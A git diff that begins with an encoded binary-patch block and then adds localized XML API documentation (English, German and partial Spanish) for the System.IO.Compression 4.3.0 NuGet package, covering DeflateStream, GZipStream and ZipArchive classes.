zmN{kvk^;R_64EH>g~XhvOw|k-H=eon3v$YD0iHV)7QEWfNGZfyb_5agmp6VPH#}7? z}K!bK{fTh_0+XJck14O+lHpr7-fY! zWzg~$LtMpQO9-Z0EwSJ!Um=)nx~ZinQMNO!BWHI&ZPDE=No}#nG7l!4E%uf;^1?q! zQEWK>87jjxxe4xVk~?#I)%Q%8s1HGzlKp5R)puKhDfH*g`3@wmyrLvE{uS;D&jl5c zHjA^p=1e;OF<@^$m_$^xU%E2nM@_!a%@ExZ87s5*MAOgWW;<`uPQ~)_wiwX1-auAj zRiAKGK{T4493sk7r3)Fe6xNLpi41tmwNte09G{ZNv!vJN+Tnb2O1Vf zDgEs4g77-GGO0&w<^-&#N*2G5()f(OEIa{5bqLAB3|n6b&8!_mOrCHlQrGb@oclDr zRb10jLGGCFNS>ZTe>R=eduRgxq%4S|O`3lLTIG=evvb9>qONn&9P@LQ3-hCO6$@hb z%>_Qc#rO}2*^d^G{XJT9pqd}-GZQ7!le8${hx*dxPoJ(*pAOeibbv^$7xbZI4f+^JGqvVm15Vf`(n6eUGc27NQPm?F)YDWCo)=aKd1UN>c>d5yd<-tRNwz4{v{$cb2{B* zpj-*)QE5)$AnhkJYEaA46tjl}<=GbHNbEX2<9@~Yl@)c^1HBS*mvaF-O*6P)?IV8w zr-EzsOtyu|uv)oc1Y#Wau$~2Specifies values that indicate whether a compression operation emphasizes speed or compression size. + + + The compression operation should complete as quickly as possible, even if the resulting file is not optimally compressed. + + + No compression should be performed on the file. + + + The compression operation should be optimally compressed, even if the operation takes a longer time to complete. + + + Specifies whether to compress or decompress the underlying stream. + + + Compresses the underlying stream. + + + Decompresses the underlying stream. + + + Provides methods and properties for compressing and decompressing streams by using the Deflate algorithm. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream is opened and supports reading; otherwise, false. + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were read into the byte array. + The array to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or - The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This operation is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This operation is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + + + Provides methods and properties used to compress and decompress streams. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid enumeration value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream supports reading and is not closed; otherwise, false. + + + + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were decompressed into the byte array. If the end of the stream has been reached, zero or the number of bytes read is returned. + The array used to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or -The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This property is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This property is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + The write operation cannot be performed because the stream is closed. + + + Represents a package of compressed files in the zip archive format. + + + Initializes a new instance of the class from the specified stream. + The stream that contains the archive to be read. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initializes a new instance of the class from the specified stream and with the specified mode. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, uses the specified encoding for entry names, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Creates an empty entry that has the specified path and entry name in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Creates an empty entry that has the specified entry name and compression level in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Releases the resources used by the current instance of the class. + + + Called by the and methods to release the unmanaged resources used by the current instance of the class, and optionally finishes writing the archive and releases the managed resources. + true to finish writing the archive and release unmanaged and managed resources; false to release only unmanaged resources. + + + Gets the collection of entries that are currently in the zip archive. + The collection of entries that are currently in the zip archive. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Retrieves a wrapper for the specified entry in the zip archive. + A wrapper for the specified entry in the archive; null if the entry does not exist in the archive. + A path, relative to the root of the archive, that identifies the entry to retrieve. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Gets a value that describes the type of action the zip archive can perform on entries. + One of the enumeration values that describes the type of action (read, create, or update) the zip archive can perform on entries. + + + Represents a compressed file within a zip archive. + + + Gets the zip archive that the entry belongs to. + The zip archive that the entry belongs to, or null if the entry has been deleted. + + + Gets the compressed size of the entry in the zip archive. + The compressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Deletes the entry from the zip archive. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Gets the relative path of the entry in the zip archive. + The relative path of the entry in the zip archive. + + + Gets or sets the last time the entry in the zip archive was changed. + The last time the entry in the zip archive was changed. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Gets the uncompressed size of the entry in the zip archive. + The uncompressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Gets the file name of the entry in the zip archive. + The file name of the entry in the zip archive. + + + Opens the entry from the zip archive. + The stream that represents the contents of the entry. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Retrieves the relative path of the entry in the zip archive. + The relative path of the entry, which is the value stored in the property. + + + Specifies values for interacting with zip archive entries. + + + Only creating new archive entries is permitted. + + + Only reading archive entries is permitted. + + + Both read and write operations are permitted for archive entries. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/de/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/de/System.IO.Compression.xml new file mode 100644 index 0000000..e7d6bfc --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/de/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Gibt Werte an, die angeben, ob ein Komprimierungsvorgang die Geschwindigkeit oder den Komprimierungsumfang hervorhebt. + + + Der Komprimierungsvorgang soll so schnell wie möglich beendet werden, auch wenn die resultierende Datei nicht optimal komprimiert wird. + + + Bei der Datei sollte keine Komprimierung erfolgen. + + + Der Komprimierungsvorgang soll optimal ausgeführt werden, auch wenn der Vorgang eine längere Zeit in Anspruch nimmt. + + + Gibt an, ob der zugrunde liegende Stream komprimiert oder dekomprimiert werden soll. + + + Komprimiert den zugrunde liegenden Stream. + + + Dekomprimiert den zugrunde liegenden Stream. + + + Stellt Methoden und Eigenschaften zum Komprimieren und Dekomprimieren von Streams mithilfe des Deflate-Algorithmus bereit. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert Decompress ist und der zugrunde liegende Stream geöffnet ist und Lesevorgänge unterstützt, andernfalls false. + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl von Bytes, die in das Bytearray gelesen wurden. + Das Array zum Speichern von dekomprimierten Bytes. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder - Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + + + Stellt Methoden und Eigenschaften bereit, die zum Komprimieren und Dekomprimieren von Streams verwendet werden. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Enumerationswert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert gleich Decompress, ist und der zugrunde liegende Stream Lesevorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl der Bytes, die im Bytearray dekomprimiert wurden.Wenn das Ende des Streams erreicht worden ist, wird 0 oder die Anzahl der gelesenen Bytes zurückgegeben. + Das Array, das zum Speichern von dekomprimierten Bytes verwendet wird. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder -Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + Der Schreibvorgang kann nicht ausgeführt werden, da der Stream geschlossen ist. + + + Stellt ein Paket komprimierter Dateien im Zip-Archiv-Format dar. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Ein Stream, der das zu lesende Archiv enthält. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialisiert eine neue Instanz der -Klasse aus dem angegebenen Stream und mit dem angegebenen Modus. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und verwendet dabei die angegebene Codierung für Eintragsnamen und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Erstellt einen leeren Eintrag, der den angegebenen Pfad und Eintragsnamen im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Erstellt einen leeren Eintrag, der den angegebenen Eintragsnamen und die Komprimierung im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Wird von den und -Methoden aufgerufen, um die nicht verwalteten Ressourcen freizugeben, die von der aktuellen Instanz der -Klasse verwendet werden, und beendet optional das Schreiben ins Archiv und gibt die verwalteten Ressourcen frei. + true, um das Schreiben des Archivs abzuschließen und sowohl nicht verwaltete als auch verwaltete Ressourcen freizugeben; false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die Auflistung von Einträgen ab, die das ZIP-Archiv momentan enthält. + Die Auflistung von Einträgen, die das ZIP-Archiv momentan enthält. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wrapper für den angegebenen Eintrag im Zip-Archiv ab. + Ein Wrapper für den angegebenen Eintrag im Archiv. null, wenn der Eintrag nicht im Archiv vorhanden ist. + Ein Pfad relativ zum Stamm des Archivs, das den Eintrag identifiziert, der abgerufen werden soll. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wert ab, der den Typ der Aktion beschreibt, die das ZIP-Archiv für Einträge ausführen kann. + Einer der Enumerationswerte, der den Typ der Aktion (Lesen, Erstellen oder Update) beschreibt, die das Zip-Archiv bei Einträgen ausführen kann. + + + Stellt eine komprimierte Datei in einem Zip-Archiv dar. + + + Ruft das Zip-Archiv ab, zu dem der Eintrag gehört. + Das Zip-Archiv, zu dem der Eintrag gehört, oder null, wenn der Eintrag gelöscht wurde. + + + Ruft die komprimierte Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des komprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Löscht den Eintrag aus dem Zip-Archiv. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im ZIP-Archiv ab. + Der relative Pfad des Eintrags im Zip-Archiv. + + + Ruft den letzten Zeitpunkt ab, zu dem der Eintrag im Zip-Archiv geändert wurde, oder legt diesen fest. + Der letzte Zeitpunkt, an dem der Eintrag im ZIP-Archiv geändert wurde. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ruft die Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des unkomprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Ruft den Dateinamen des Eintrags im ZIP-Archiv ab. + Der Dateiname des Eintrags im ZIP-Archiv. + + + Öffnet den Eintrag aus dem Zip-Archiv. + Der Stream, der den Inhalt des Eintrags darstellt. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im Zip-Archiv ab. + Der relative Pfad des Eintrags, der in der -Eigenschaft gespeichert ist. + + + Gibt Werte für die Interaktion mit Zip-Archiveinträgen an. + + + Nur das Erstellen neuer Archiveinträge ist zulässig. + + + Nur das Lesen von Archiveinträgen ist zulässig. + + + Lese- und Schreibvorgänge sind für die Archiveinträge zulässig. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/es/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/es/System.IO.Compression.xml new file mode 100644 index 0000000..ceb444e --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/es/System.IO.Compression.xml @@ -0,0 +1,420 @@ + + + + System.IO.Compression + + + + Especifica valores que indican si una operación de compresión hace hincapié en la velocidad o en el tamaño de la compresión. + + + La operación de compresión debe completarse lo antes posible, aunque el archivo resultante no esté comprimido de forma óptima. + + + No debe comprimirse el archivo. + + + La operación de compresión se debe comprimir de forma óptima, incluso aunque la operación tarde más tiempo en completarse. + + + Especifica si se comprime o descomprime la secuencia subyacente. + + + Comprime la secuencia subyacente. + + + Descomprime la secuencia subyacente. + + + Proporciona métodos y propiedades para comprimir y descomprimir secuencias usando el algoritmo Deflate. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir o descomprimir. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + Es true si el valor es Decompress, y la secuencia subyacente está abierta y admite operaciones de lectura; de lo contrario, es false. + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la 